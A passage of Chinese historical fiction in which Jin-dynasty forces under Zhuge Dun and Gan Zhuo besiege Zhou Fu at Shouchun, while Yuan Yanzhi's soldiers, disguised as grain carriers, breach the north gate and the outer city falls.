交战一向不斩杀来使,双手被反剪身后那人心一紧,才要开口求饶,屋内有人发话,铿锵有力。 “且慢,”周馥放下舆图,眯眼看去,觉得来者有点面熟,问道:“你说你是谢摛的扈从?进来说话。” 诸将还想再劝说,看周馥一副风雨不动安如山的气势,个个话都吞回肚子,坐回位上不再言语。 扈从将信呈上,入目令周馥两眼一热——声讨周馥檄文,泪珠砸在纸上,“这一定是谢摛写的。” 诸将争相上前抢看,字迹上不难看出运笔多有滞涩,言辞也偏委婉,还是顾及了旧主情谊。但依旧有人愤恨道:“谢摛若真念及与都督昔日旧情,就不该写这篇檄文。” 上面说“其罪罄竹难书”,可又有多大的罪呢,也只写了“拒不奉诏”。周馥从诸将手中拿回檄文,还给那扈从,“你回去告诉谢摛,他既记得旧情,何故误解我、负我?” 扈从才脱险,点头如捣蒜,生怕诸将反悔,一阵风似的逃了。 大战在即,周馥不好流露出过多个人情感,恐被人揣测引起军心动摇。他整理好自己的情绪,与众人商量计策:“水军整顿船只,步军加紧巡逻,休要出差错,早晚会有一队人来袭击。” 扈从回来向谢摛复命,将周馥看到檄文落泪和要带的话一字不差交代。 “都督他还记得我。”谢摛心仿佛被一根无形的线轻轻牵动,“世人误会都督了。若不是淮南太守,都督怎会被视为反叛。”他与周馥虽分道扬镳,但对周馥仍心存感激和敬重,非常时期迁都怎能被扣上“擅命”的帽子。 安丰太守听闻送信使者回来,派人来问谢摛寿春情况,谢摛未有分毫心虚,当场把退回的檄文撕碎,拒不再写。 过了两日,甘卓水军已到芍陂附近,诸葛敦军队也行至淮南郡北部,在洛口附近驻扎下来。 洛口位于寿春东北方向,两地相距不过数十里,派探马去侦察,不过半日便回来报告:周馥将东、西、南三面城门封锁,收起吊桥,雉堞上有重兵巡逻,只留北门进出,从其他周边地区征收粮食。 寿春城墙高近四十尺,底宽七十余尺,城墙底部还加固了护城石堤。四面环水,北有东肥水,其余三面都有护城河,地形上使得这座城池在防御上有天然优势,易守难攻。 诸葛敦召集袁几位将军围坐在帐中议事,指尖划过舆图上安丰、芍陂、洛口几处位置,“我等虽对寿春呈包围之势,却远远不够拿下周馥。寿春城高墙厚,且有护城河环绕,硬攻必然损失惨重。” “不能强攻,那便只能智取了。”袁延之几步上前,手中麈尾扇在寿春北门一点,“周馥如今粮草紧张,若能切断他的粮道,逼迫他主动出击,或许能寻得破城之机。” “放肆,军中不得儿戏。”袁父挥开麈尾扇,他手劲大,扇面掉下不少羽毛。 众目睽睽之下,诸葛敦忽然把舆图抽死,拍落上面羽毛,笑道:“世侄有计但说无妨。” 诸将抬头觑了眼袁延之,他身无一官半职,虽是士族出身却也只是二流世家。碍于诸葛敦面上,方才袁父嘴上也教训过了,他们不好叱咄这个无知年轻人,便也等袁延之的下文。 “让甘将军与纪祭酒分别在城南袭击,我们绕到北门,夜袭船只,截粮。” 是夜,雨势停歇,淝水潺潺流淌,水面闪着细碎的银光,粮船在夜色中若隐若现。岸边,草木在雨中微微摇曳,袁延之一队人马摸黑。悄无声息地靠近寿春北门外,在狭窄河道处埋伏。 周馥料定会有人来偷袭,因此四面城楼上每隔一段距离就有士兵把守,手中火把在寒夜里荡荡悠悠,其中一人目力好,只觉得护城河外有人影晃动,问了离自己不远的有一个士兵,“兄弟,你看下面是不是有人?” 那人踱步到正南方向,眯眼望去,瞧了半晌,什么也没看见,“有吗?你是不是病了?出现幻觉。”才说完,听到一阵咕隆嘎啦声,他立即闭眼凝神细听,“你听,是不是有战车声音?” 目力好的那个守卫弹了一下他的脑门,骂道:“填壕车已经开到你家楼下了,还看不见!”话未说完,迅速敲响战鼓。 鼓声急促而沉重,瞬间打破了夜的寂静,城楼上原本还略显慵懒的士兵们瞬间被惊醒,进入各自的防御位置,躲在垛口后。 不一会儿,周馥身披战甲登上城楼,弓箭手和弩手拉弓搭箭,准备就绪。 护城河外,攻城车、投石机、填壕车在雨后的泥泞中缓缓推进。 城楼上箭雨如蝗般倾泻而下,攻城车上的甘卓吹响鸣笛,楼下士兵举盾防身,距攻城车近的连忙躲回车上。 投石机的巨石呼啸着飞向城楼,砸在城墙和垛口上,激起一片尘土和碎石。 前锋士兵推动填壕车冲向护城河,车外部有铁皮覆盖,可抵挡正面箭矢,前进过程中士兵相对安全。 城楼上周馥指挥弓弩手在箭矢上绑上可燃物瞄准填壕车,一旦填平护城河,后续的攻城部队就能顺利推进。 瞬间,城楼上飞出无数火箭,直奔填壕车而去。火箭落在填壕车上,瞬间点燃了车上的木料。 城南火光冲天,城北楼上的守卫也察觉到异常,只留下一部分兵力继续监视河道,其余跑去支援南门。 粮船停泊在狭窄的河道内,船上守卫原本就少,听到城南 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袁延之带着伪装成运粮兵丁的士兵们驶入城北石桥门,城门内士兵见粮船到来,上前帮忙搬运,发现硌手得很,便问:“这装的是粮草吗?怎么还刮手呢?” “问你呢!哑巴了?”袁延之搬运时,膝盖窝被城内兵丁踢了一脚,后槽牙狠狠一咬,将粮草一丢,直起腰板,皮笑肉不笑:“装的是兵器,自然硌手。” 说完,突然抽出藏在粮袋里的刀,猛地砍向面前那名士兵。 其他伪装成运粮兵丁的士兵也纷纷抽出武器,城门内的士兵反应过来时,已经被袁延之的人控制住了局面,一队人骑上战马往城东奔去。 袁延之挥动诸葛导的旗帜,高呼:“我军已进城,周馥必败!” 芍陂门外,甘卓站在望楼车上指挥士兵将填壕车内的土石、柴草等填充物倾倒入护城河中,听到城内传来的喊杀声,心中一喜,急忙下令:“加快填壕速度,准备攻城!” 投石机的巨石虽然砸在城墙上,但城墙坚固,暂时还能抵挡。周馥命人将滚木礌石备好,有一兵丁冒死来报:“都督,有人从城北杀进来了。” 城北的混乱已经让城内的守军陷入慌乱,周馥面色铁青,俯瞰填壕车已经将部分护城河填平,敌军开始准备通过折叠桥发起冲锋。 转身对身边的副将说道:“传令下去,撤回到内城。”撑到援军到来,便还有翻盘的机会。 副将领命。楼下传来攻城锤撞击大门声音,大部分兵丁退回内城,只剩一部分留下将滚木从云梯上推下,继续抵御。 撤退的军队和袁延之一队人马在外城撞面,副将凝神细看,发现旗帜不对,厉声喊杀。双方短兵相接,刀剑碰撞声、喊杀声交织在一起,狭窄的街道瞬间被鲜血染红。 周馥并不恋战,命令副将率军断后,自己则带着主力部队退回内城。 晋军一路高歌猛进,杀到城东门。此时,城东门的守军已经陷入混乱,听到城内喊杀声此起彼伏,士兵们人心惶惶,不知所措。 袁延之勒住缰绳,马蹄高高扬起,大声喊道:“周馥败局已定,降者免死!”城东门的守军听到这话,士气更加低落,许多人纷纷放下武器,跪地投降。 “开城门!”袁延之高呼一声。兵丁迅速打开城门,甘卓大军穿过城门,从瓮城涌入城内。 天明时分,雨丝又开始飘落,城内的火渐渐熄灭,只剩下一片狼藉和尸体。